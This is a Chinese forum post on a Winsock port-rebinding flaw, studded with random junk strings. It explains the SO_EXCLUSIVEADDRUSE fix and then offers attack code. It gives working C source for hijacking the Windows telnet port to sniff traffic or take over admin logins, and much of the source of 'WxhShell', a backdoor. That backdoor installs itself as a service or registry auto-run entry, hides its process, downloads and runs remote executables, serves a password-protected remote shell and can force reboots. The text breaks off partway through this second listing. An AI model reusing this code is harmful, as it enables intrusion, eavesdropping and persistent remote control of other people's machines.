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[讨论]用端口截听实现隐藏嗅探与攻击

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所在楼道
在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是: i7FEjjGtG  
  s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); Xc!w y9m  
8{C3ijR  
  saddr.sin_family = AF_INET; Tx*m p+q  
#82B`y<<y/  
  saddr.sin_addr.s_addr = htonl(INADDR_ANY); FWg7 e3  
9\F^\h{  
  bind(s,(SOCKADDR *)&saddr,sizeof(saddr)); ry'(m M  
Lmb<)YY  
  其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。 \IKr+wlN8  
s6B@:9  
  这意味着什么?意味着可以进行如下的攻击: /03>|Juo  
r`2& o  
  1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。 \ (,2^T'$J  
H< j+-u4b  
  2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到) t(Uoi~#[  
#XsqTK_nk  
  3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。 9L};vkYk#  
|NI0zd  
  4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。  ?@_dx=su  
rfjQx]3pB  
  其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。 O%r<I*T^r  
>KE(%9y~  
  解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。 7u zN/LAF  
xk/(| f{L  
  下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。 > L%%B-  
DxlX-  
  #include {)mlXo(On  
  #include ,O}zgf*H;  
  #include b7-a0zaN  
  #include    )l=j,4nn  
  DWORD WINAPI ClientThread(LPVOID lpParam);   -8Ii QRS  
  int main() v,jU9D \  
  { J ?&9ofj&  
  WORD wVersionRequested; r$KDNa$/a  
  DWORD ret; xInWcQ  
  WSADATA wsaData; mWh:,[o  
  BOOL val; `JR dOe  
  SOCKADDR_IN saddr; CVm*Q[5s"  
  SOCKADDR_IN scaddr; R:Lu)d>=  
  int err; 9cLKb  
  SOCKET s; M0|z^2  
  SOCKET sc; 6R25Xfm_|  
  int caddsize; ?g'l/xuRe  
  HANDLE mt; 2,+H;Ypi!  
  DWORD tid;   \21!NPXH2  
  wVersionRequested = MAKEWORD( 2, 2 ); bu]bfnYi9  
  err = WSAStartup( wVersionRequested, &wsaData ); GB#7w82  
  if ( err != 0 ) { d^7<l_u~ !  
  printf("error!WSAStartup failed!\n"); !Ej<J&e  
  return -1; Rh=h{O  
  } C RNO4  
  saddr.sin_family = AF_INET; vQ;Z 0_  
   4 QWHGh"  
  //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了 -8]$a6`{_  
.FeEK(  
  saddr.sin_addr.s_addr = inet_addr("192.168.0.60"); u% FA.  
  saddr.sin_port = htons(23); PYZ8@G  
  if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) kW"N~Xw)  
  { % :NI@59  
  printf("error!socket failed!\n"); !59q@M ya[  
  return -1; ZR1EtvVG  
  } 6Pz\6DU,I  
  val = TRUE; d$!ibL#o  
  //SO_REUSEADDR选项就是可以实现端口重绑定的 y=t -/*K  
  if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0) mwt3EV5  
  { &:rf80`z.  
  printf("error!setsockopt failed!\n"); EB \\ F  
  return -1; F J)la9  
  } avQwbAh[  
  //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码; R8HFyP  
  //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽 8qT/1b  
  //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击 ;yr 'K  
"zugnim  
  if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR) zQ6otDZx  
  { %NvY~,  
  ret=GetLastError(); BwR)--75  
  printf("error!bind failed!\n"); IMj{n.y4  
  return -1; ;*8$BuD  
  } i]P]o)  
  listen(s,2); Na4\)({  
  while(1) =dPrG=A   
  { +S$x}b'5q  
  caddsize = sizeof(scaddr); ]c08`  
  //接受连接请求 v''$qMQ)  
  sc = accept(s,(struct sockaddr *)&scaddr,&caddsize); MZ0 J/@(  
  if(sc!=INVALID_SOCKET) ,ecFHkT>  
  { ]\{EUx9  
  mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid); _o;alt  
  if(mt==NULL) L~\Ir  
  { HM`;%0T0(  
  printf("Thread Creat Failed!\n"); 2gA6$s7  
  break; E;yP.<PW  
  } ig6F!p  
  } bYiaJ  
  CloseHandle(mt); YQ]W<0(  
  } env]*gx+=  
  closesocket(s); :V&#Oo  
  WSACleanup(); -LUKYGBK  
  return 0; /)j:Y:5  
  }   gF&1e5`i  
  DWORD WINAPI ClientThread(LPVOID lpParam) Ay[6rUO  
  { 8/k* "^3  
  SOCKET ss = (SOCKET)lpParam; F8q|$[nH  
  SOCKET sc; ^5OR%N)  
  unsigned char buf[4096]; U2;_{n*g%  
  SOCKADDR_IN saddr; WmeV[iI  
  long num; {$Qw]?Yv  
  DWORD val; W 5-=,t  
  DWORD ret; Esd A %`  
  //如果是隐藏端口应用的话,可以在此处加一些判断 d4~!d>{n|c  
  //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发   ZjWI~"]  
  saddr.sin_family = AF_INET; />H9T[3=  
  saddr.sin_addr.s_addr = inet_addr("127.0.0.1"); #}o*1  
  saddr.sin_port = htons(23); }5`Kn}rY  
  if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) L^dF )y?  
  { Y-v6xUc{F  
  printf("error!socket failed!\n"); (m13 ong  
  return -1; `j9 ;9^  
  } A2..gs/  
  val = 100; dj 4:r!5_  
  if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) 29:] cL(5  
  { o!:   
  ret = GetLastError(); K1Mn_)%  
  return -1; U 1vZ r{\  
  } 12.|Ed*72  
  if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) U`z=!KI+g  
  { n&Bgpt~  
  ret = GetLastError(); /C}u,dBf  
  return -1; %AaZc=a[c  
  } }Ge$?ZFH  
  if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0) RGsgT^  
  { \Cx2$<8  
  printf("error!socket connect failed!\n"); 3v\}4)A[  
  closesocket(sc); 0 *2^joUv  
  closesocket(ss); xcty  
  return -1; <m'W{n%Pp  
  } 4S5U|n  
  while(1) 9!; /+P  
  { @P@?KZ..v!  
  //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。 PKJw%.-  
  //如果是嗅探内容的话,可以再此处进行内容分析和记录 ZwM(H[iqL  
  //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。 \I (g70  
  num = recv(ss,buf,4096,0); ;X, A|m$(  
  if(num>0) Zcjh  
  send(sc,buf,num,0); lxf+$Z`~:  
  else if(num==0) *lc|iq\  
  break; LtW}R4}3  
  num = recv(sc,buf,4096,0); ?L x*MJZ  
  if(num>0) 1R-WJph  
  send(ss,buf,num,0); 7_HFQT1.N  
  else if(num==0) ^VOFkUp)  
  break; H}?"2jF  
  } id+ ~ V  
  closesocket(ss); ?k@^U9?R  
  closesocket(sc); Qco8m4n  
  return 0 ; F$M^}vsjGx  
  } pLSh +*F  
|0OY> 5  
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========================================================== 5X&Y~w,poU  
2u Zb2O  
下边附上一个代码,,WXhSHELL _0}u0fk  
o, PpD,,  
========================================================== ?.Q$@Ih0  
\(_(pcl  
#include "stdafx.h" /*P) C'_M  
2ci[L:U  
#include <stdio.h> z.lIlp2:  
#include <string.h> =U'!<w<-  
#include <windows.h> 7vTzY%v  
#include <winsock2.h> z;DNl#|!L  
#include <winsvc.h> %:t! u&:q  
#include <urlmon.h> j<'ftK k  
A*G ~#v^  
#pragma comment (lib, "Ws2_32.lib") b+1!qNuCW#  
#pragma comment (lib, "urlmon.lib") 1%ENgb:8  
(@m/j2z  
#define MAX_USER   100 // 最大客户端连接数 H-\Ym}BGu  
#define BUF_SOCK   200 // sock buffer -^+fZBU;  
#define KEY_BUFF   255 // 输入 buffer ^hNl6)hR  
9HB+4q[  
#define REBOOT     0   // 重启 xpX<iT>5u  
#define SHUTDOWN   1   // 关机 CFC15/yU  
+-C.E  
#define DEF_PORT   5000 // 监听端口 F/x2}'  
4O<sE@X  
#define REG_LEN     16   // 注册表键长度 zZ6m`]{B9?  
#define SVC_LEN     80   // NT服务名长度 ,p{naT%R  
Dj>eAO>  
// 从dll定义API djH&)&q!  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); }y Vx"e)  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); :_}xN!9LA  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); ]VL} eHZ  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); Z_[ P7P  
4%2APvLW  
// wxhshell配置信息 ,Qx]_gZ`  
struct WSCFG { 9#TD1B/  
  int ws_port;         // 监听端口 @R%* ;)*F  
  char ws_passstr[REG_LEN]; // 口令 tn#cVB3  
  int ws_autoins;       // 安装标记, 1=yes 0=no G9NI`]k  
  char ws_regname[REG_LEN]; // 注册表键名 O}>@G  
  char ws_svcname[REG_LEN]; // 服务名 l^Ob60)2  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 793 15A  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 >TMd1? ,  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 )$RV)  
int ws_downexe;       // 下载执行标记, 1=yes 0=no d?&`Z Vl  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" .W^B(y(tA  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 /78]u^SW  
((C|&$@M  
}; M!+J[q  
?z`={oN  
// default Wxhshell configuration oUwo!n}  
struct WSCFG wscfg={DEF_PORT, 3CgID6[Sy  
    "xuhuanlingzhe", <o/!M6^:  
    1, b{qN7X~>  
    "Wxhshell", SV@*[r  
    "Wxhshell", <l(n)|H1P  
            "WxhShell Service", MA,*$BgZ  
    "Wrsky Windows CmdShell Service", 9w- )??  
    "Please Input Your Password: ", f-3CDUQ`  
  1, 6#7hMQ0&;O  
  "http://www.wrsky.com/wxhshell.exe", H1f='k]SZ  
  "Wxhshell.exe" w i[9RD@  
    }; i,h30J  
ULqI]k(  
// 消息定义模块  4d\^  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; eT+i &  
char *msg_ws_prompt="\n\r? for help\n\r#>"; yI1 :L -  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; T? Kh '  
char *msg_ws_ext="\n\rExit."; 1^LdYO?g'  
char *msg_ws_end="\n\rQuit."; ("\{=XA Q  
char *msg_ws_boot="\n\rReboot..."; Ie(i1?`A8  
char *msg_ws_poff="\n\rShutdown..."; &nDXn|  
char *msg_ws_down="\n\rSave to "; a M9v  
u8T@W}FX  
char *msg_ws_err="\n\rErr!"; uLafO=Q  
char *msg_ws_ok="\n\rOK!"; w%.hALN5-C  
X8VBs#tLE  
char ExeFile[MAX_PATH]; /i3 JP}  
int nUser = 0; )O"E#%  
HANDLE handles[MAX_USER]; Qn7T{ BW  
int OsIsNt; '{cSWa| #  
Rjq Xz6  
SERVICE_STATUS       serviceStatus; ._^}M<o L  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; ]R_R`X?  
+9w[/n^,G  
// 函数声明 .ojEKu+EJ'  
int Install(void); gYhY1Mym  
int Uninstall(void); 9T;4aP>6j#  
int DownloadFile(char *sURL, SOCKET wsh); lhKn&U  
int Boot(int flag); /kY9z~l  
void HideProc(void); db~^Gqv6k  
int GetOsVer(void); 5>I-? Ki  
int Wxhshell(SOCKET wsl); JcWp14~e  
void TalkWithClient(void *cs); 4d`YZNvZW/  
int CmdShell(SOCKET sock); qFD ZD)K  
int StartFromService(void); 3Rc*vVnI  
int StartWxhshell(LPSTR lpCmdLine); 4~,Z 'k  
d #1Y^3n  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); H"FK(N\  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); *{3d+j/?/  
lG)wa  
// 数据结构和表定义 \P*_zd@%  
SERVICE_TABLE_ENTRY DispatchTable[] = l)9IgJ|<b  
{ bZNqv-5 4h  
{wscfg.ws_svcname, NTServiceMain}, B W<Dmn  
{NULL, NULL} Z#Mm4(KNh  
}; se\fbe^0  
5Jbwl$mZ  
// 自我安装 ^1najUpQ_n  
int Install(void) $DoR@2 ~y  
{ -N8rs[c  
  char svExeFile[MAX_PATH]; x="Wqcnj{  
  HKEY key; B+K6(^j,,y  
  strcpy(svExeFile,ExeFile); tw_o?9  
/?eVWCR  
// 如果是win9x系统,修改注册表设为自启动 iM@$uD$_Q2  
if(!OsIsNt) { q#tUDxf(|  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { 5p (zhfuG  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); _K o#36.S  
  RegCloseKey(key); V4+ |D2   
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { #RBrii-,  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); v>_@D@pr  
  RegCloseKey(key); ;=y"Z^  
  return 0; :j]1wp+  
    } C(ij_>  
  } wb0$FZzh  
} s*k)h,\  
else { j6GIB_  
a_RY Yj  
// 如果是NT以上系统,安装为系统服务 riDb !oC  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); 17 Ugz?  
if (schSCManager!=0) 4rU/2}. q  
{ ( zWBrCX  
  SC_HANDLE schService = CreateService Nap[=[rv  
  ( =6u@ JpOl  
  schSCManager, `}EnY@*h  
  wscfg.ws_svcname, krUtOVI  
  wscfg.ws_svcdisp, Vh^y6U<  
  SERVICE_ALL_ACCESS, ^ Oh  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , k7^hc th  
  SERVICE_AUTO_START, *%Rmdyn  
  SERVICE_ERROR_NORMAL, P.y +jyu  
  svExeFile, (xHmucmwp  
  NULL, JT?u[p Q^  
  NULL, ?{ N,&d  
  NULL, IrMH AM5K  
  NULL, jr=9.=jI8k  
  NULL 0$*7lQ<a#M  
  ); "'U^8NA2  
  if (schService!=0) 4>d4g\Z0L  
  { $G".PWc  
  CloseServiceHandle(schService); aV\i3\da  
  CloseServiceHandle(schSCManager); Vu3DP+u|i  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); UzxL" `^7  
  strcat(svExeFile,wscfg.ws_svcname); gJQ#j~'  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { :W.H#@'(  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); rYb5#aT[  
  RegCloseKey(key); |J-X3`^\H  
  return 0; .9bi%=hP  
    } Y4rxnXGw  
  } vGkem J^/  
  CloseServiceHandle(schSCManager); w:5?ofC  
} |V a:*3u  
} k+J%o%* <  
[d`E9&Hv3  
return 1; KN}#8.'>3  
} E_ wVAz3  
` ,\b_SFg  
// 自我卸载 ("8Hku?  
int Uninstall(void) D0Dz@25-  
{ @ap!3o8,9  
  HKEY key; dKzG,/1W[m  
M~A# _%2U  
if(!OsIsNt) { S%iK);  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { `?z('FV  
  RegDeleteValue(key,wscfg.ws_regname); N3%#JdzZ$  
  RegCloseKey(key); q3x"9i `  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { \u,CixV=  
  RegDeleteValue(key,wscfg.ws_regname); Db|f"3rq?  
  RegCloseKey(key); $e\s8$EO  
  return 0; bo\ bs1  
  } 76l. {TXF  
} EpS/"adI-!  
} &;DCN  
else { y!b2;- Dp  
I~&*^q6 |  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); 2P"643tz  
if (schSCManager!=0) s<!A< +Sh  
{ \ lbH   
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); 1CC0]pyHX  
  if (schService!=0) }>{R<[I!G  
  { &W\e 5X<A  
  if(DeleteService(schService)!=0) { ?MH=8Cl1w  
  CloseServiceHandle(schService); `i`P}W!F  
  CloseServiceHandle(schSCManager); w|f+OlPXq  
  return 0; dcf,a<K\  
  } jr` swyg  
  CloseServiceHandle(schService); o<nM-"yWb  
  } {8m&Z36E  
  CloseServiceHandle(schSCManager); Qw0k-t0=4  
} j,OA>{-$  
} %r^tZ;; l  
9K$ x2U  
return 1; ;P S4@,  
} bW`nLiw}%  
y3;M$Jr  
// 从指定url下载文件 :q/s%`ob  
int DownloadFile(char *sURL, SOCKET wsh) G8}owszT  
{ Zq 4%O7%  
  HRESULT hr; AWcbbj6Nd  
char seps[]= "/"; #x.v)S  
char *token; 6.]~7n  
char *file; H'i\N?VL  
char myURL[MAX_PATH]; 9wx]xg4l"  
char myFILE[MAX_PATH]; AJ\gDjj<  
&$XTe2  
strcpy(myURL,sURL); ;L$ -_Z  
  token=strtok(myURL,seps); -7!L]BcZ.  
  while(token!=NULL) V?OTP&+J%  
  { p-j6H  
    file=token; +&\. ]Pp  
  token=strtok(NULL,seps); N_92,xI#  
  } {`):X_$T  
yV`Tw"p  
GetCurrentDirectory(MAX_PATH,myFILE); GJdL1ptc  
strcat(myFILE, "\\"); u.A}&'H  
strcat(myFILE, file); 6?x F!VIL  
  send(wsh,myFILE,strlen(myFILE),0); +X#6 d v$  
send(wsh,"...",3,0); m ^FKE:  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); ?n# $y@U  
  if(hr==S_OK) #e.x]v:  
return 0; 4Q!%16 P  
else 3^P;mQ$p1  
return 1; @:im/SE  
8Y-*rpLy  
} S0StC$$1  
/,S VG1  
// 系统电源模块 qUfoEpW2=6  
int Boot(int flag) GLIY!BU<C  
{ )&E]   
  HANDLE hToken;  3*Q=)}  
  TOKEN_PRIVILEGES tkp; yMdu Zmkc  
dA~_[x:Z  
  if(OsIsNt) { u"zR_CzYc  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); aEzf*a|fSV  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); or#] ![7N  
    tkp.PrivilegeCount = 1; JFI*Pt;X9  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; sPc}hG+N  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); vw>(JCR  
if(flag==REBOOT) { ktPM66`b  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) z4 =OR@ h  
  return 0; }J?,?>Z  
} >-V632(/{o  
else { z 8M\(<  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) n><ad*|MX  
  return 0; 9Tr ceL;  
} Ytc[ kp  
  } 48z%dBmTT*  
  else { o6^ETQ  
if(flag==REBOOT) { TfJ*G6\7e#  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) uhj]le!  
  return 0; rI\5djiYJ  
} z#Qe$`4&  
else { |(l]Xr&O  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) r<kgYU`  
  return 0; *A`ZcO=   
} UU(Pg{DA 6  
} &KBDrJEX  
8 a)4>B  
return 1; iOfO+3'Z_U  
} %h(%M'm?  
;ZuHv {=  
// win9x进程隐藏模块 xtCMK1# x  
void HideProc(void) J;<dO7j5  
{ fn/?I \  
s#<fj#S  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); t{B@k[|  
  if ( hKernel != NULL ) Z^Um\f   
  { Z796;qk  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); u[KxI9Q  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); >VZxDJ$R  
    FreeLibrary(hKernel); v .*fJ   
  } $@kOMT  
Vo^J2[U  
return; #|8%h  
} vCej( ))  
59$PWfi-\  
// 获取操作系统版本 W%5))R$  
int GetOsVer(void) s)E8}-v  
{ tq,^!RSbZ  
  OSVERSIONINFO winfo; #/Ob_~-?j  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); =\u,4  
  GetVersionEx(&winfo); |Isn<|_  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) >`3F`@1L0  
  return 1; PSv 5tQhm  
  else (;=|2N>7  
  return 0; ;F- mt(Y  
} IR]5,K^l  
dh%O {t  
// 客户端句柄模块 >Q<XyAH~  
int Wxhshell(SOCKET wsl) BPkL3Ev1V  
{ -rYb{<;ST  
  SOCKET wsh; L<oQKe7Q:  
  struct sockaddr_in client; T~$Eh6 D  
  DWORD myID; _'Jjt9@S  
L|<j/bP  
  while(nUser<MAX_USER) )H]L/n  
{ i._RMl5zg  
  int nSize=sizeof(client); Fs~*-R$  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); x>mI$K(6M  
  if(wsh==INVALID_SOCKET) return 1; wQhuU  
lvODhoT  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); /~s<@<1!X  
if(handles[nUser]==0) '\d ldg#P  
  closesocket(wsh); BUwL?  
else 0\"#Xa+}8  
  nUser++; <uBRLe`)  
  } huA?*fat   
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); x6JV@wA&  
A@_>9;   
  return 0; ~9APc{"A  
} jP/Vqe%%8  
;=IJHk1&  
// 关闭 socket <sm"3qs"_  
void CloseIt(SOCKET wsh) vO$cF*  
{ m;4ti9  
closesocket(wsh); _(?`eWo  
nUser--; K_ymA,&()  
ExitThread(0); :sK4mRF  
} s* u1n+Zq  
Z JcX-Z!\  
// 客户端请求句柄 ( ./MFf  
void TalkWithClient(void *cs) lijT L-3  
{ _:NQF7X#ug  
Nz3+yxv1  
  SOCKET wsh=(SOCKET)cs; &`s{-<t<L  
  char pwd[SVC_LEN]; OA6i/3 #8  
  char cmd[KEY_BUFF]; t}I@Rmso  
char chr[1]; >WZbb d-  
int i,j; |xZu?)M4  
`peR,E  
  while (nUser < MAX_USER) { 0+qC_ISns  
o:cTc:l)  
if(wscfg.ws_passstr) { @,= pG  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); V,VL?J\  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); ?(R#  
  //ZeroMemory(pwd,KEY_BUFF); &qPezyt  
      i=0; A0@,^|]  
  while(i<SVC_LEN) { FXY>o>K%h  
8<0P Ssx  
  // 设置超时 mzM95yQ^Z  
  fd_set FdRead; ZZ{c  
  struct timeval TimeOut; T#!% Uzz  
  FD_ZERO(&FdRead); U5-8It2OR  
  FD_SET(wsh,&FdRead); f^hJAZ  
  TimeOut.tv_sec=8;  *p9)5  
  TimeOut.tv_usec=0; X%<qHbKB,  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); +J{ErsG?6P  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); 1E||ft-1i*  
XRkUv>Yk  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); q,#s m'S  
  pwd=chr[0]; G Wa6FX:/  
  if(chr[0]==0xd || chr[0]==0xa) { " 1a!]45+  
  pwd=0; 5*A5Y E-  
  break; ^1c7\"{  
  } RFS} !_t+|  
  i++; aqk$4IG  
    } Op9 ^Eu%n  
re%XaL  
  // 如果是非法用户,关闭 socket Hicd -'  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); @$5~`?  
} W{q P/R  
R#ZJLT  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); />I5,D'h  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); j3%Wrt  
A)!W VT&2A  
while(1) { }&7kT7ogO  
vf>d{F^rv  
  ZeroMemory(cmd,KEY_BUFF); PX^ k;  
ami>Pp  
      // 自动支持客户端 telnet标准   OW=3t#"7Kp  
  j=0; g8'8"9:xC  
  while(j<KEY_BUFF) { tvVf)bbz  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); H!}L(gjEG  
  cmd[j]=chr[0]; z}-R^"40  
  if(chr[0]==0xa || chr[0]==0xd) { D}}?{pe  
  cmd[j]=0; >*O5Ry:4  
  break; d)biMI}<5  
  } rq7yNt  
  j++; ,vvfk=-  
    } 8Vn   
1V[ZklS  
  // 下载文件 saZK+kD4I  
  if(strstr(cmd,"http://")) { [ R8BcO(  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); r9bAbE bI  
  if(DownloadFile(cmd,wsh)) C_ d|2C6  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); aw lq/  
  else 52# *{q}  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); oF+yh!~mM  
  } D2D+S  
  else { OOIp)=4  
,Js_d  
    switch(cmd[0]) { .WN&]yr,  
  |zfFB7}v  
  // 帮助 Mi(6HMA.SF  
  case '?': { WhH60/`  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); 5"3 `ss<m  
    break; [bo"!Qk%  
  } iKu3'jZ/O  
  // 安装 tFn[U#'  
  case 'i': { =Oh$pZRymu  
    if(Install()) nXfz@q  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); O,^s)>c  
    else Yyd}>+|<,  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); v_%6Ly  
    break; ("}Hs[  
    } yr>J^Et%_  
  // 卸载 p}!)4EI=  
  case 'r': { 5z3WRg  
    if(Uninstall()) IRk)u`  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); j?$B@Zk  
    else DH _~,tK9  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); S3U]AH)C  
    break; -b+)Dp~$p  
    } D1>*ml  
  // 显示 wxhshell 所在路径 @|ZUyat  
  case 'p': { b|x B <  
    char svExeFile[MAX_PATH]; [D+PDR  
    strcpy(svExeFile,"\n\r"); GFbn>dY  
      strcat(svExeFile,ExeFile); G] tT=X[  
        send(wsh,svExeFile,strlen(svExeFile),0); b9i_\  
    break; B$s6|~  
    } a}VR>!b  
  // 重启 OraT$lV)_  
  case 'b': { AZNo%!)o  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); <T.R%Jys  
    if(Boot(REBOOT)) " @ ""  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); ^qC.bv]&  
    else { q2*)e/}H  
    closesocket(wsh); ]!P6Z?  
    ExitThread(0); Dvz 6 E  
    } VY~*QF~P  
    break; =|$U`~YB  
    } L&NpC&>wD  
  // 关机 qx >Z@o  
